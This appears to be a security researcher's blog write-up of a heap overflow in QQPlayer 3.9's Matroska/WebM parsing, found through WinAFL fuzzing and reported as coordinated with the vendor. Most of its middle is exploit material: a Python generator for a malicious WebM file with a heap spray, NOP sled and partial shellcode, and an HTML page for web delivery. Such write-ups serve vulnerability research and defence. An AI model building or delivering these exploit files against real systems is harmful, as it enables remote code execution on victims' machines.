/ 6 min read
QQPlayer 3.9 Heap Overflow: Matroska Exploitation
Introduction
QQPlayer 3.9, a popular multimedia player in Asian markets, contains a critical heap overflow vulnerability that enables remote code execution through malicious WebM files. This vulnerability was discovered during a systematic security assessment using WinAFL fuzzing and affects the application’s Matroska container parsing logic.
Executive Summary
Vulnerability Type: Heap Overflow
Attack Vector: Malicious WebM/Matroska files
Impact: Remote Code Execution
Affected Version: QQPlayer 3.9
Discovery Method: WinAFL fuzzing campaign
The vulnerability allows attackers to achieve arbitrary code execution by exploiting insufficient bounds checking in the matroskasplitter.ax
DirectShow filter, leading to controlled call instructions and heap corruption.
Vulnerability Discovery
Research Methodology
QQPlayer was selected as a research target due to its widespread deployment and complex media format support. The research focused on WebM files due to the format’s complex container structure and increasing adoption, which often introduces parsing vulnerabilities in multimedia applications.
WinAFL Fuzzing Campaign
The fuzzing setup targeted QQPlayer’s WebM/Matroska parsing functionality using WinAFL with DynamoRIO instrumentation:
# WinAFL configuration for QQPlayer WebM fuzzingafl-fuzz.exe -i webm_samples\ -o findings\ -D DynamoRIO\bin64\ -- -coverage_module QQPlayer.exe -target_module QQPlayer.exe -- QQPlayer.exe @@
Key Findings
The fuzzing campaign revealed critical vulnerabilities in the matroskasplitter.ax
DirectShow filter:
Crash analysis showing heap corruption in matroskasplitter.ax DirectShow filter
Critical Issues Identified:
- Heap corruption in Matroska track processing
- Controlled call instructions with attacker-supplied pointers
- Multiple reproducible crash patterns
- Insufficient bounds checking in container parsing
Crash Signature:
Access violation - code c0000005eax=41414141 edx=41414141 esi=41414141 edi=41414141call [eax+0x14] ; Controlled call with attacker data
Technical Analysis
Vulnerability Root Cause
The vulnerability originates from insufficient bounds checking in QQPlayer’s Matroska container parsing logic:
// Vulnerable code pattern in matroskasplitter.axtypedef struct { uint32_t track_count; uint32_t track_entries[MAX_TRACKS]; char *track_data[MAX_TRACKS];} matroska_context;
int parse_matroska_tracks(matroska_context *ctx, uint8_t *data, size_t size) { uint32_t track_count = read_uint32(data); ctx->track_count = track_count; // No validation
// Vulnerable loop - no bounds checking for (uint32_t i = 0; i < track_count; i++) { size_t track_size = read_track_size(data);
// Heap allocation based on untrusted size ctx->track_data[i] = malloc(track_size); // VULNERABILITY
// Copy without size validation memcpy(ctx->track_data[i], data, track_size); // VULNERABILITY
data += track_size; }
return 0;}
Memory Corruption Analysis
The vulnerability provides several attack vectors:
- Heap Allocation Control: Attacker controls allocation sizes
- Memory Copy Operations: Unrestricted copying to heap buffers
- Track Count Manipulation: Excessive track counts cause overflow
- Pointer Corruption: Heap metadata corruption enables arbitrary writes
Exploitation Strategy
Heap Spray Implementation
The exploitation strategy leverages Matroska multi-track abuse to achieve controlled heap layout:
#!/usr/bin/env python# QQPlayer Matroska Heap Overflow Exploit
import struct
class MatroskaExploit: def __init__(self): self.ebml_header = self.create_ebml_header() self.segment_header = self.create_segment_header()
def create_ebml_header(self): """Generate valid EBML header for WebM file""" ebml = b"\x1A\x45\xDF\xA3" # EBML magic ebml += b"\x9F" # Header size ebml += b"\x42\x86\x81\x01" # EBML version ebml += b"\x42\xF7\x81\x01" # EBML read version ebml += b"\x42\xF2\x81\x04" # EBML max ID length ebml += b"\x42\xF3\x81\x08" # EBML max size length ebml += b"\x42\x82\x88webm" # Doc type: "webm" ebml += b"\x42\x87\x81\x02" # Doc type version ebml += b"\x42\x85\x81\x02" # Doc type read version return ebml
def create_segment_header(self): """Generate Segment element header""" segment = b"\x18\x53\x80\x67" # Segment ID segment += b"\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF" # Unknown size return segment
def create_track_entry(self, track_id, track_type, codec_data): """Create individual track entry for heap spray""" track = b"\xAE" # TrackEntry ID track += self.encode_size(len(codec_data) + 20) # Track size track += b"\xD7\x81" + struct.pack('B', track_id) # Track number track += b"\x83\x81" + struct.pack('B', track_type) # Track type track += b"\x63\xA2" + self.encode_size(len(codec_data)) # CodecPrivate size track += codec_data # Controlled codec data return track
def create_heap_spray_payload(self): """Generate heap spray using multiple tracks"""
# Heap spray shellcode (calculator for PoC) shellcode = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" # ... shellcode continues )
# NOP sled for landing zone nop_sled = b"\x90" * 1000
# Spray payload: NOP sled + shellcode spray_chunk = nop_sled + shellcode
# Pad to specific size for heap layout control spray_chunk += b"A" * (0x1000 - len(spray_chunk))
return spray_chunk
def create_overflow_tracks(self): """Create tracks to trigger heap overflow""" tracks = b"" spray_payload = self.create_heap_spray_payload()
# Create multiple tracks for heap spray for i in range(50): # Spray heap with controlled data tracks += self.create_track_entry( track_id=i + 1, track_type=1, # Video track codec_data=spray_payload )
# Create overflow trigger track overflow_size = 0x10000 # Large allocation overflow_data = b"B" * 100 # Controlled data overflow_data += struct.pack('<I', 0x0C0C0C0C) # Controlled pointer overflow_data += b"C" * (overflow_size - len(overflow_data))
tracks += self.create_track_entry( track_id=999, track_type=1, codec_data=overflow_data )
return tracks
def generate_malicious_webm(self): """Generate complete malicious WebM file"""
# File structure webm_file = self.ebml_header webm_file += self.segment_header
# Tracks element tracks_data = self.create_overflow_tracks() tracks_element = b"\x16\x54\xAE\x6B" # Tracks ID tracks_element += self.encode_size(len(tracks_data)) tracks_element += tracks_data
webm_file += tracks_element
return webm_file
def encode_size(self, size): """Encode size using EBML variable-length encoding""" if size < 0x7F: return struct.pack('B', 0x80 | size) elif size < 0x3FFF: return struct.pack('>H', 0x4000 | size) elif size < 0x1FFFFF: return struct.pack('>I', 0x200000 | size)[1:] else: return struct.pack('>Q', 0x1000000000000000 | size)
# Generate exploit fileexploit = MatroskaExploit()malicious_webm = exploit.generate_malicious_webm()
with open("malicious.webm", "wb") as f: f.write(malicious_webm)
print("[+] Malicious WebM file created: malicious.webm")print(f"[+] File size: {len(malicious_webm)} bytes")
Heap Layout Strategy
The exploitation technique leverages Matroska’s multi-track structure for precise heap manipulation:
Heap Layout Strategy:┌─────────────────┐│ Heap Spray │ ← Multiple small tracks with controlled data│ (Tracks 1-50) │ (0x1000 bytes each, total ~80KB)├─────────────────┤│ Landing Zone │ ← NOP sleds for reliable execution│ (NOP + Shell) │ (Multiple copies across spray)├─────────────────┤│ Overflow Track │ ← Large track triggering overflow│ (Track 999) │ (0x10000 bytes, controlled data)└─────────────────┘
Heap spray implementation using Matroska multi-track abuse for controlled memory layout
Controlled Call Exploitation
The vulnerability provides controlled call [r32] instructions:
; Vulnerable call pattern in matroskasplitter.axmov eax, [heap_ptr] ; eax = attacker-controlled pointercall [eax+0x14] ; Call controlled function pointer
; Exploitation strategy:; 1. Spray heap with fake vtables; 2. Corrupt heap metadata to point to fake vtable; 3. Trigger call instruction; 4. Execute shellcode via fake vtable entry
Proof of Concept Development
Attack Vector Analysis
The vulnerability can be exploited through multiple delivery mechanisms:
Local File Attack:
# Direct file executionQQPlayer.exe malicious.webm
Web-Based Attack:
<!-- Malicious web page --><!DOCTYPE html><html><head> <title>QQPlayer WebM Exploit</title></head><body> <h1>Video Player Demo</h1> <video controls> <source src="malicious.webm" type="video/webm"> Your browser does not support the video tag. </video>
<script> // Additional JavaScript for environment preparation function prepareExploit() { // Heap spray preparation if needed var chunks = []; for (var i = 0; i < 100; i++) { chunks[i] = new Array(1000).join("A"); } return chunks; }
window.onload = function() { var spray = prepareExploit(); console.log("Environment prepared"); }; </script></body></html>
Execution success:
Complete QQPlayer exploitation proof of concept with calculator payload execution
Conclusion
The QQPlayer heap overflow vulnerability demonstrates the critical security risks inherent in complex multimedia parsing libraries. The vulnerability’s exploitation through Matroska container abuse highlights the need for robust input validation in media processing applications.
References
- WebM Project Documentation
- Matroska Container Specification
- WinAFL: Windows American Fuzzy Lop
- DynamoRIO Dynamic Binary Instrumentation
- Heap Spraying Techniques
Research conducted by: Alejandro Parodi (hdbreaker)
Disclosure Status: Coordinated with QQPlayer development team
Impact: Security patches integrated in subsequent QQPlayer releases